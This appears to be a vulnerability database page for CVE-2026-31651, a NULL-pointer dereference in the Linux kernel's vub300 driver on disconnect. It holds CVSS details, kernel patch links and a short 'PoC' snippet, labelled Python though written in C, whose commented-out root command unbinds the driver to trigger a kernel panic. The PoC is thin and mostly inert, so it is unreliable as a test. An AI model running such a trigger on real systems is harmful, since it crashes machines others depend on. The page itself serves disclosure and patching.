CVE-2026-31651

Description

In the Linux kernel, the following vulnerability has been resolved: mmc: vub300: fix NULL-deref on disconnect Make sure to deregister the controller before dropping the reference to the driver data on disconnect to avoid NULL-pointer dereferences or use-after-free.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (stable branches prior to specific patches)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31651
 * Triggering the disconnect logic in vub300 driver.
 * This requires a system with the vulnerable driver loaded.
 */

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("Attempting to trigger vub300 disconnect vulnerability...\n");

    // To trigger this vulnerability locally without physical removal,
    // one would typically unbind the driver from the USB device.
    // This simulates the disconnect event path.
    
    // Example command (requires root):
    // system("echo '1-1:1.0' > /sys/bus/usb/drivers/vub300/unbind");
    
    // If the code path is vulnerable, the kernel will panic
    // due to a NULL pointer dereference in the disconnect handler.
    
    printf("Check dmesg for kernel panic or NULL pointer dereference\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31651
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31651
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31651/
[4] VulDB https://vuldb.com/cve/CVE-2026-31651
[5] https://git.kernel.org/stable/c/517b58e1d067115f80d198feee10192da4c424d0
[6] https://git.kernel.org/stable/c/53f2642d77ab5f1f303388bff5500363c6cf962c
[7] https://git.kernel.org/stable/c/6446516e626ce7c44bdadbcbb3d7677a2c52ce93
[8] https://git.kernel.org/stable/c/6468cab1173f44f7a4b7a05ce8abfdfd1ce1557a
[9] https://git.kernel.org/stable/c/8d09e75759cb2afc0732acfb5a14a93c03805a61
[10] https://git.kernel.org/stable/c/ba3b9429de94958dc0060d9816a915dd75c34919
[11] https://git.kernel.org/stable/c/c83a282615d8f7ba28cebddd54600b419d562d82
[12] https://git.kernel.org/stable/c/dff34ef879c5e73298443956a8b391311ba78d57

Raw JSON Data

JSON

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